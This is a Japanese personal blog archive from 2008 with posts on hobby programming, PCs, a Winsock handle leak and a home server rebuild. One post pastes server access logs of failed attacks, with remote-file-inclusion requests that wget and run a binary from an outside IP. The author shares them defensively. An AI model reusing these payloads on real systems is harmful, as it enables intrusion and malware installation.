過去の投稿記事 new!
・【画像】漫画でわかる外国人参政権
・東京電力のHPで停電状態が確認できたり(サービス再開!)
・戦国時代 ~ 江戸時代の徳川家康が熱かった
・vaio のバッテリは寿命が短いような気がする
・話題の Western Digital 製 WD20EARS を購入した
・C01LC をビックカメラで買ってきた
・2025年には空中都市が現実化?!
・【動画】わかりやすい「宇宙ひも理論」
・今世紀には「富士山噴火」「東海連動地震」「首都圏直下型地震」か?
・滅びた町、南浜町が Googleストリートビューで見れる

【 amazon 送料無料キャンペーン 】

バックリンクはご自由にどうぞ!     http://mfsocket.blogspot.com/feeds/posts/default?alt=rss リンク集 / ログイン

2008/04/26
ハトも電線の上にとまるらしい

 
ハトって電線の上にとまるんですね。
 
 
P1010294
 
知りませんでした。。( ´д`)
 
 
ハトが電線の上にとまってるのが異常に珍しく感じて、、ついつい持っていた携帯でカメラで撮影。
 
 
僕は知りませんでしたが、
 
ハトが電線の上にとまるって、常識なんでしょうか?w
 
 
 
 
P1010293
 
しかもこの方々、大雨の中でも電線の上に待機してた。
 
 
いっつも地上で見かけるだけに、驚きますた。 

2008/04/23
Winsock でハンドルリーク

 
今、あるフリーソフトでハンドルリークしている事がわかりました( ´д`)
 
と言っても環境によっては、発生しているのかひじょーにわかりづらく、
今日まで発見が遅れたのですが。。
 
 
具体的なことはまた更新すると思いますが、ようは
 
   WSAStartup() /  WSACleanup() 
 
 
を対で何回も呼んで、socket を生成しているとハンドルリークするみたいです。
 
 
今まで自分の設計としては "通信をするときだけ"
 
Winsock の初期化/解放をしていた のですが、
 
それでは問題があったようです( ´д⊂
 
 
今テストしている OS は WindowsXPPro/SP2 で、
 
   VC6.0    SP1 Release版のマルチスレッドDLL
   VC2005 SP1 Release版のマルチスレッドDLL
 
でコンパイル/リンクした exe でダメだったので、たぶん 全 Windows で同じ
結果になると思います。
 
 
ソースのイメージとしては以下のとおり
#include <Winsock2.h>
#include <Windows.h>
#include <process.h>

UINT ConnectThread()
{
      SOCKET s;
      s = socket( ... );
     // TCP でサーバと通信する
 
      closesocket(s);
      _endthreadex(0);
      return 0;
}

UINT ManagerThread()
{
      HANDLE h[4];
      int i, ret;
      while( true ){
            // WinSock の初期化 ここだ!
            WSADATA wsa;
          ret = WSAStartup( MAKEWORD(2,0), &wsa );
 
            // スレッドの生成
            for( i=0 ; i<4 ; i++ ){
                 h[i]  = (HANDLE)_beginthreadex( ConnectThread );
            }
            // スレッドの終了待機          
            for( i=0 ; i<4 ; i++ ){
                 WaitforSingleObject( h[i], INFINITE );
                 CloseHandle( h[i] );
            }

            // WinSock の解放 ここ!
            WSACleanup();

            Sleep( 1000 * 20 );     

     }

     _endthreadex(0);
      return 0;
}

 

int main( int argc, char* argv[] )
{
      HANDLE h = (HANDLE)_beginthreadex( ManagerThread );
      WaitforSingleObject( h, INFINITE );
      CloseHandle( h  );
      return 0;
}

 
簡単に説明するとまず、
 
マネージャスレッドというのが、メインスレッドから生成されます。
 
そしてマネージャスレッドからは、実際にコネクション処理を実行する
コネクションスレッドを4つほど生成させます。
 
そのコネクションスレッドの中でソケットのクライアント側をコーディングする
わけです。
 
 
そこでは非常に単純で、socket()  connect()   send()   recv()   shutdown() 
closesocket()  を順にやっていくだけです。
 
蛇足ですが、実際はエラー処理をもっと組み込んでいます。
 
 
そしてそのプログラムを1時間~4時間ほど実行すると、、
落ちます。
 
 
チェックの手順としては、タスクマネージャー等で本プロセスを監視していると、
 
ほんのちょっとずつ・・・ハンドルリークしていってる
 
のがわかります。
 
 
これを回避するには、ソースの中でここ!と書いてる箇所をループの外に出せば
回避可能になります。
 
私の憶測も含まれてますが、
 
   WSAStartup()  は何回コールしても良い → msdn かどっかでもそうあった
 
   WSAStartup() / WSACleanup()  のセットはプロセスで1回のみが良い→結論 

ってな感じですな( ´д`)

2008/04/20
年齢を基準にしての比較をすると

 
最近ちょっと思います。
 
 
自分の年齢を少し振り返ってみると、新人時代に
 
この人マジすげぇΣ(゜Д゜ )
 
と思った人と、年齢が同じになっていた模様( その当時の人と )
 
 
その人は、その時にすでに本を執筆してたり、プログラミング能力が他の人より秀でてたりと、
中々いないすごいお方でした。
 
 
今の自分は、その当時のその人に少しは近づいたのだろうか?
 
 
たぶん、世間の認知度という意味では圧倒的に追いついてない。
 
「自分は自分」というのを私はよく言うのですが、あえて比較してみるのも面白いよ( ´д`)
 
 
 
最近、仕事のことばっかりで、色んな行動を起こす為のペースが大幅に疎かになってるので、
休みの日を有効活用しなければ・・。
 
 
と考えてるけど、、休みになると
 
睡眠の誘惑には勝てません( ´д`)
 
 
平和が大好きなのかもしれない(´・ω・‘)

2008/04/14
ニュースやブログ系をひろってみる 4/14

 
最近ちょっと疲れ気味です( ´д`)
 
以前拾ってたネットニュースも含め、久しぶりに拾ってみますた。
 
 
 
 
 google_logo
 
安いのをピックアップしても、年収が 約1757万円。
 
 
なんすかこの待遇Σ(゜Д゜ ) 
 
 
しかも補助制度充実しすぎ!!
 
 
きっと Google にいるプログラマには誰一人、実力でもお金でも勝て無そう。。( ´д`)
 
神レベルのプログラマが在籍してるんでしょーな。
 
 
 
 
 hikaku_kakou
 
 
日本でもマクドナルドの画像加工には定評がありますが、海外でも変わらないようです。
 
しかしここまで来ると詐欺レベルじゃないのかな?w
 
 
 
 
 hanamaru_teiki
 
うどん好きだけど、毎日食べると絶対空きる 気がする。
 
むしろ、3日目ぐらいで、、、、
 
けど、食べ物での "定期券" っていう発想はかなりいいと思うな。
 
ファミレスとかで使えるような定期券あったらいいなー。
 
 

2008/04/12
パソコンが欲しい欲しい病

 
ここ最近、魅力あふれるパソコンが3つあります( ´д`)
 
 
今回はその魅力あふれるパソコンの紹介をしてみます。
 
私はすでに5台所持しているので、いい加減 置き場所 と 電源 が足り無いのですが。。w
 
 
まずは本当の本当に省スペースPCの、エプソンのST110 です。
st110
 
 
評判としては、PC自体の拡張性には欠けるみたいですが、3Dゲームをバリバリする以外の用途では
普通にいけそうなので、かなり欲しいです。
 
場所を取らないってのが何といっても魅力!
 
評価参考:
 
 
 
 
続いてソニーの TYPE-Uモデル VGN-UX92NS です。
vgn-ux92ns
 
これはモバイルPCとしては、最高のスペックを持っており、かつ最軽量というのに非常に惹かれます!
 
ただ、そろそろ新型が発表されるかもしれない時期でもあり、購入には一歩戸惑ってしまう。
 
評判としては、リカバリディスクが付いていない件や、CDドライブを内臓していない等のデメリットもあるようす。
 
評価参考:
 
 
 
 
 
続いてはDOS/V のPrime Galleria QX です。
PrimeGalleriaQX
 
何よりPCスペックが信じられないほど高いので、メインマシンの乗り換え候補として欲しいんです。
 
ただDOS-Vの評判などを見ていると、購入するのに大きく躊躇( ちゅうちょ )してしまう。
ショップブランドなら仕方ない事なのでしょうか?
 
熱暴走でフリーズするという情報があり、非常に不安な所です。
 
 
 
 
 
 
なお、私もよく利用していた HP( ヒューレットパッカード ) ですが、ここは
 
ディスプレイの性能が・・大分宜しくない
 
かもしれません。
 
 
1台目のCRTディスプレイは、1年ちょいで故障しました。
 
2台目の液晶ディスプレイは、1年ちょいで、接触不良からか赤い縦線を発生させる事が出来ます。
うまく調整すると、回避出来ますが。。
 
あと、内臓のHDDが2台のPCともオシャカになりました。
 
まぁハードディスクに関しては、交換すれば良いので納得ですが( ´д`)
 
それ以外は基本的に好調みたいなので、値段を考えるとHPのパソコンは良いのかも?
 
私の中では、HDDとディスプレイが思ったよりも早く故障する件は、ほぼ確定していますが。。

2008/04/11
自宅サーバーが攻撃されてる件

 
最近、自宅サーバーのアクセスログを見ていると、 PHP の脆弱性を狙った攻撃が
かなり増えています( ´д`)
 
 
進入しようとしてるんだろうけどさぁ。
 
 
攻撃しても無駄なのに(´・ω・‘)
 
 
ってことで最近、アタックしてきたログを貼り付けておきます。
 
IPアドレスは偽装している可能性もあるため、伏字にしといてあげよう。
 
けど、アクセスして進入できるかの結果を知りたい場合、レスポンスを受け取るために、このIPアドレスで
攻撃されてることは間違いなさそうだけどね。
 
たぶん proxy かな?
 
------------------------------------------------------------
62.112.159.16x - - [11/Apr/2008:15:23:27 +0900] "POST /xmlrpc.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:29 +0900] "POST /blog/xmlrpc.php HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:30 +0900] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 301 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:31 +0900] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:32 +0900] "POST /drupal/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:34 +0900] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:35 +0900] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:36 +0900] "POST /xmlrpc.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:38 +0900] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:39 +0900] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:40 +0900] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:41 +0900] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:43 +0900] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 295 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:44 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:45 +0900] "GET /administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:47 +0900] "GET /components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:48 +0900] "GET /administrator/component/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 337 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:49 +0900] "GET /component/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:50 +0900] "GET /com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:52 +0900] "GET /joomla/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:53 +0900] "GET /blog/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:54 +0900] "GET /forum/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:56 +0900] "GET /page/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
------------------------------------------------------------
 
 
しかし、PHP の脆弱性を狙ったアクセスログがここのところ多い。。
 
ほぼ毎日、色んなパターンでアクセスしてきてるんだが。

2008/04/10
HPのnx6120( ノートPC )が完全復活!

 
HPのノートPC nx6120 が完全復活しました!
 
去年の、調子が悪すぎるという記事から約1年たちましたが・・( ´д`)
 
 
原因は、予想通り HDD がイカれてたようです。
 
 
左が新品、右がお疲れ様HDD
P1010288
 
 
なんとか、、自力で入れ替えれました(`・ω・´)
 
 
それにしても、所持してたノートPCってこんなに快適だったとは。。
 
私は5台PCを持ってるのですが、その中でもノートPCが一番体感スペックがあるw 

2008/04/06
電気代に異常が無くなった件

 
以前、電気代が異常な件というのを書いたのですが、あれから2カ月経過し・・今回は、
 
 
電気会社に心配されちゃったΣ(゜Д゜ )
 
 
どんな心配をされたかと言うと・・画像をキャプったので下記に載せてみます。
 
 
クリックで拡大
dennkineta_02
 
 
先月/去年の同月と比べ有り得ないほどの電気の使用量が減ったため、
 
「電気の使用量がおかしいけど、、引越したの?」
 
というご心配だったようです( ´д`)
 
 
 
まぁ、たしかに前月までは 12000 ~ 18000円の請求だったのが、今回は約3分の1の 4000 円代と
大幅に電気の使用量が減ったからかもしれません。
 
 
dennkineta_01
 
それにしても、電気節約したら1万円以上の差が平気で出る今の自分の環境が
怖くて仕方ありません。。
 
古い電機器具が、異常なほど無駄な待機電力を使用していたってことでしょうか( ´д`)
 
もちろん、それだけでは無いでしょうが、、、うーん、もっと減らせるか試してみたいかも。

2008/04/01
エイプリルフール 2008

 
おおおお、エイプリルフール!
 
 
今日は嘘ついてもいいんですよ、奥さん( ´д`)
 
 
実際何も無いけど、毎年 4/1 のエイプリルフールは、ちょっとだけワクワクします。
今年は、ためしに会社の同僚に "軽い嘘" ついてみますた。
 
それなりにありえない話をしたつもりなのですが、、
 
信じてもらえたので、ちょっと申し訳なかったw
 
 
さてさて、今年もネット上でも色々と企画を練ってたりするのでしょうか?
 
情報収集してないのでわかりませんが、皆さんもだまされないように?お気をつけ下さい( ´д`)
 
 
関連記事:

2008/03/30
サーバー復活!!

 
自前サーバ復活しました(`・ω・´)
 
 
全ソフトウェアの再インストールの手順をメモってるほど余裕は無かったのですが、
意味不明になりそうな箇所だけはメモとして残しておいたので、
 
 
再度ぶっ飛んでも・・大丈夫( ´д`)
 
 
まる1週間、自宅サーバが無かった状況は不安で不安で仕方なかったです。
 
次からはバックアップの知識を少しでも高めていかないと。。
 
 
一言:
今週の休みはまるまる潰れたよ(´・ω・‘)

自宅サーバ、完全手動リカバリ中・・

 
10時間ぶっ通しで、自宅サーバ復旧中です( ´д`)
 
 
残すところ、fast cgi と tomcat の確認だけなのですが、fast-cgi の方が思った以上に
手ごわいです。。
 
2006年の俺よ、、、
 
 
よくインストール完了出来たな? (゜Д゜ )
 
 
MySQL の構築も若干はまりました。
 
C/C++ からの開発環境も合わせてインストールするので、実行バイナリだけあっても
足りないんす。
 
 
しかしながら、今のところ一番ハマったのが
 
C/C++での CGI の実行
 
です( ´д`)
 
 
Apache2.0 の罠にハマったわけなんです。
 
Premature end of script header というエラーなんですが、、
この結論は "カレントディレクトリの権限" だったので、もう泣きそうです(´・ω・‘)
 
 
 
クソー、なんとか今日中に復旧したい・・
 
メールサーバも復旧出させたこの勢いで fast-cgi も頼む。

2008/03/23
自宅サーバー死んだのは辛い・・

 
自宅サーバーがお亡くなりになりました( ´д⊂
 
 
やっぱりバックアップ取ってないのが痛い。
 
インストールしてある設定ファイルのバックアップが無いと、
 
もう二度とサーバー立てたくなくなる・・ぐらい辛い。
 
 
昔 Windows 98 を使用してた時、1週間に1回OSの再インストールを求められてた経験が5カ月ぐらい
あり、
 
650M の CD-ROM を 500 枚以上焼いてた
 
記憶があります。
 
なので Windows に関しては、かなりセーフティに使うようにしてるので、98 の次以降でぶっ飛んだのは
Windows 2000 で3回ぐらいです。
 
と言ってもローカルのデータは全てレスキューできたので、困ることはインストールにかかる時間ぐらいでした。
 
 
そして今回は、何が最悪かと言うと
 
データをレスキューする難易度が高いんです( ´д`)
 
たぶん、Linux に関しては自分の知識が足りないと思うのでプロの管理者には到底なれないでしょう。。
 
 
サーバーPCのHDD を取り出して、Windowsに繋げて下記のを試してみたのですが、
 
 
 
 
期待通りの結果は得られませんでしたorz
 
 
そもそも復旧コマンドを打つタイミングを間違えてしまったのが痛いです。
 
e2fsck というコマンドでファイルシステムをチェックするのですが、ドライブをアンマウントせずに
やってしまったため、色々と不都合が出た模様。
 
 
そして色々とあり、何とかシングルユーザーモードにはなれたので、ftp を駆使して必要な設定ファイル
だけでも Windows PCにコピーは出来ました。
 
 
新品の HDD を注文したけど、今まで、色んな設定をしてきたのでやる気が・・・
 
次やるときは、すべての手順( 必要になるもの全て )を、メモに残しておき、
 
再インストールにかかるのは時間だけ
 
という状態に、Linux PCでも成れるようにしておかないとダメですね。。
 
 
 
 
 
 
 
あああ、自宅メールサーバーがしばらく使えない( ´д⊂
 

2008/03/22
Doja5.0/5.1 エミュレーターのバグ・・

 
Doja 5.0/5.1 のエミュレ-ターにはバグがあるようです。
 
どうもこのバグは "普通に使ってるひと" には発生しないので、実践的な?開発スタイルの人に
だけ影響出ている感じです。
 
 
具体的には doja.exe をプロンプトから起動している人などは、
 
System.out.println() のデバッグ出力が一切表示されません。
 
 
これを回避するためにパイプ用のプログラムを用意してやらないといけないのですが、
都合の良いプログラムが無かった為、自作しました。
 
ということで、せっかくなので rprint というツールを vector で公開します( ´д`)
 
 
自宅サーバーがお亡くなりになったので、そっちでは公開できないんです( ´д⊂

2008/03/20
ニュースやブログ系をひろってみる 3/20

 
最近のニュースを拾ってみますた。
 
 
google_suisu
 
Google では食事が食べ放題/飲み放題との事で、我々一般人には羨ましい限り( ´д`)
 
これだけ環境が整ってる現場で、一度は働いてみたいと思ってしまう。
 
 
日本でこーいう職場は想像も付かない・・
 
 
 
 
 
 vista_logo
 
今回のSP1では 570 種類のバグフィックスが含まれてるそうです。
 
私も WindowsVista を使ってるので、少し様子を見た後に適用してみます( ´д`)
 
Windows Media Player のバグも修正されるのは助かるなー。
 
 
 
 
 
 
pokari
 
缶コーヒー「ワンダ」シリーズの飲料商品の値上げを検討との事。
 
その影響で、他の缶ジュースも一斉に値上げされる可能性も十分ありそうですね。
 
ちょっと昔は 90円  100 円 の自動販売機もよく見かけた記憶があるのですが、今では 120 円より安い
自動販売機を見かけることは、ほとんどありません(´・ω・‘)
 
 
 
 
 
 

2008/03/16
花粉・・

 
ああああ、
 
 
花粉症になってしまったようです(|||゜Д゜)
 
 
症状としては 鼻水や目の痒さが辛いですが、今のところ
 
鼻水 >>>> くしゃみ >>目の痒さ
 
と鼻水で、鼻がつまってしまい鼻呼吸が出来ないのがかなりシンドイです。。
 
かなり昔に、鼻呼吸で過ごしているとほぼ風邪を引かないというのを自ら実証できて以来、呼吸は常に
鼻で行うようにしてたので、口呼吸をずっと続けるのは辛い。
 
 
体が外敵から身を守ろうとして活発なのは良いけど、くしゃみが止まらないのも辛い( ´д`)
 
1回のくしゃみは 2k~4k カロリーも消費するので、かなり体力が奪われる。。
 
 
関連記事:

2008/03/13
泣けるAAで泣いた

 
感動のお話です。悲しい方で・・
 
お時間のある方はどうぞご覧下さい。
 
泣けるAA
     
 
見れない方はここ
 
 
最初に流れてるBGMの2曲は、ひぐらしの音楽みたいですね。
 
ひぐらしの曲って、テキストでの演出作品と相性良いよ。

2008/03/11
テトリスっぽいの作りますた

 
コマンドプロンプト上で動く、テトリスっぽいゲーム作りますた。
conTetris.jpg
 
 
アルゴリズムの作成/実装に1日、デバッグ1日で2日かかってしまったわけですが、
プロンプト上でゲームっぽく動作させる方法の検証で2時間ぐらいかかってしまった。
 
時間に直すと、4時間+5時間で9時間労働だね。
 
 
なんでコマンドプロンプト上で作ったのかと言うと、コマンドプロンプトと言う
環境でのゲームにちょっと製作意欲がわいたのです( ´д`)
 
 
まぁ完全な趣味というやつですが・・
 
 
先ほど vector に登録申請をしておいたので、たぶん来週ぐらいに公開されると
思うので、少し興味ある人はどうぞやってみてください。こちらから落とせます。
 
毎フレーム画面を更新せざるを得ないので、幾分描画がちらついてるかと
思いますが。。。 
 
ダブルバッファリングは、プロンプトでのテトリスでは無理ぽそうです( ´д`)

ゲームプログラマの待遇について語ってみる

 
せっかくのブログなんだし、決意も新たにゲームプログラマの待遇についての、世間の相場
を想像してみようと思う。
 
 
最初に断っておきますが、全部憶測です( ´д`)
 
一つの憶測情報として参考になればと思い。。ね。
断定している所もありますが、あくまで目安としてご覧下さい。
 
 
・まず大前提として、ゲームプログラマの月給は安い。
 ただし新入社員として見ると、そこまで安いわけではないと思う。月給は。
 
・一日3時間程度の残業では、残業代がほぼ出ない( 月給が、x時間見なし残業含まれてる )所が多い。
 
・ボーナスが無い所は・・全体的に見て半々ぐらいか?
 
・自社開発を行う会社では、インセンティブ等の「売れたら還元するよ」的な報酬もある。
 
・遅刻すると、遅刻した 時間(分) を、区切りの良い単位に切り上げられた後、給料から引かれる。
  >一部の大手ではあまり無いと思われる。
 
・年収としてみると、労働時間の割には相場はかなり低い。
 
・年収としてみると、IT系のプログラマより相場は低いか
 
・当たり前かもしれないが、この業界も大手と小さい会社では給料の相場も大分違う
   [例]
    ・同時期に Aという大手の会社 と Bという下請け会社に入った場合、新入社員の月給が
       18万で同じだとしても、年収では 100万以上の差が付く場合も普通にある。
   残業手当、ボーナスがあるかどうかだけで・・
 
         18万 * 12カ月  = 年収 216万  :  ボーナス無し           中小企業
         18万 * 16カ月  = 年収 288万  :  ボーナス4カ月有り 大企業
 
 
ゲームプログラマに限ったことでは無いかもしれないけど、ここには書いてないような事も、大手と
小さい会社では色々と待遇面で違いがあります。
 
プログラミング以外の求められる業務能力も色々とあったり。特に中小企業では。
 
 
ゲームプログラマを目指す人って、やっぱりゲームが好きだから目指してますよね。
 
もし数年働いて、、ある時期から "お金" のことを気にし始めたら、歯止めがきかなくなる可能性が
高い業種とも言えます。
 
ってことで私が想像するに、どーいうタイプの人が向いてるか書いてみると、
 
 
A. 
・対価( お金 )は、働いた分は絶対に欲しい。
・幅広く仕事もこなしたくないし、ゲームプログラミング能力だけでもTOPを目指したい。
 
   >大手のゲーム会社を選ぶのが良い
 
--------------------------------------------------------------------------------------------------------  
B. 
・対価( お金 )は、ある程度働いた分は欲しい。
・ゲーム以外にも幅広くこなせるようになりたい。
 
   >中小企業のゲーム会社を選ぶのが良い
 
--------------------------------------------------------------------------- 
C. 
・お金は気にしないので、とりあえず働ければ・・
・パルプンテを体感してみたい!!
 
   >小さいゲーム会社を選んでみるのも面白い
 
 
ゲームプログラマを目指す人達に一言言うとすると、自社コンテンツを持ってる会社の方が
本人の "作りたいゲーム" を作れる機会は多いんじゃないかな。
 
新卒で下請け会社だと、ゲームプログラマーという職業がイヤになる可能性が高いかもしれません。
 

2008/03/09
我が迷いは晴れた

 
ここ5カ月、潜在的にはもっと長く、心の中のもやもやが取れました( ´д`)
 
人には、自分を見つめなおすという時間は必要だと思う。
 
実際取れない( 見つめ直す時間を作らない※1 )人の方が多い世の中だけど。
 
※1
作れないと言ったほうがイイのかもしれないけど、「本当に作れないの?」と大抵の場合思う。
何かしらの犠牲はあるのは当たり前なんだから。
 
 
先日、以前勤めていた会社の人と2年振り?に偶然出会ったので、飲みにいってきました。
 
そして、その人が放ってるオーラを受けたのか、以前閃いたネタを再度掘り起こすことが出来た。
 
自分の中の "夢" を達成するにも、別スレッドで切り開いてみる。
 
 
ぶっちゃけ "夢" ってのはほぼ達成できないものと思ってるんだけど、
閃いたネタには手ごたえを感じてます。
 
・・情報収集するのに、けっこう骨折りそうだけど( ´д`)
 
 
それにしても、たかだか2年と感じてしまうけど、人って成長するよね。
 
 
同僚とかの近況を聞いてると
 
「自分だけが成長してないんじゃねぇか?」
 
と思ってしまう、弱い心があったりするんです。
 
 
マンネリ化している状況に満足し始めたら、成長は急激になくなってしまう。
 
 
初めて勤めた会社を辞める時、世間を見ることを選んだ自分は間違ってなかったのは間違いと思う。

2008/03/06
C/C++ が面白くて仕方が無い

 
最近特に思うんです( ´д`)
 
 
C/C++ でプログラミングすることが楽しすぎる!
 
 
以前までは、Windows での C/C++ にのめり込んでいたのですが、最近は Linux/g++ での
プログラムが楽しくて仕方ない。
 
基本は Windows で作成したクラスライブラリを Linux でも使えるようにする事がメインなのですが、
Windows で書いたCUIツール( コード )をほぼそのまま Linux でも使えるし、
 
すっげぇ自己満足に浸ってます( ´д`)
 
 
プライベートの時間使って、こんな事に打ち込んでる私は、ある種異常者かもしれない。。
 
 
ネタとしては、最近こんな事やって遊んでます。
 
自宅サーバーのメールアドレス( 受信専用・・ )を使って、コマンドメールを受信したら、自宅マシンの
プログラムを起動し、レスポンス( 送受信可能なアドレスから )を返します。
 
これによって何が出来るかと言うと、携帯電話さえ持ってれば、
 
全国どこに言っても、自分が定期的に行う作業をメールで送って、結果をメールで取得できる
 
わけです。
 
もちろん起動するプログラムは予め作成しておいておく必要があります。
 
このやりたい事というのを万人向けに説明すると、例えば youtube  に自分が見たかった動画がアップロード
されてることを知りました。
 
しかし今は自宅にいないため、ダウンロードできません。
 
そこで、メールの件名に「動画」 本文に動画ID「hogehoge」 と書いて送ると、自分のマシンがダウンロードしに
いってくれます。
その後、成功/失敗のメールが数分後に送られてくるわけですね。
 
 
その欲しかった動画が削除されやすい動画の場合なんかもあると思うのですが、これさえあれば見つけた段階で
携帯のメール送るだけでOKなので、「あぁ削除されてる・・」という事も避けやすくなります。
 
ぶっちゃけ、人に送るメールより、機械に送るメールの方が圧倒的に多い自分は痛い・・のか?
 
 
後はセキュリティ実装を入れるべきだけど、とりあえずは送信元のメルアドチェックぐらいですかね。
 
ちなみに http/smtp/pop3 全部自前実装なので、細かいヘッダのチェックも( 簡単に )可能だったりするので、
いざという時もデバッグしやすい。
 
とは言っても、perl ならこの程度の実装は( ライブラリが充実してるので )かなり簡単と思われる、、が、Windows で
高度なことをやりたい場合があると考えると、C/C++ で実装している意味はあるかな。※1
 
※1
例えばサーバー自体に、共有メモリ、ファイルマッピング、Windows( 又は Linux )ネイティブAPIの呼び出しなどがある場合。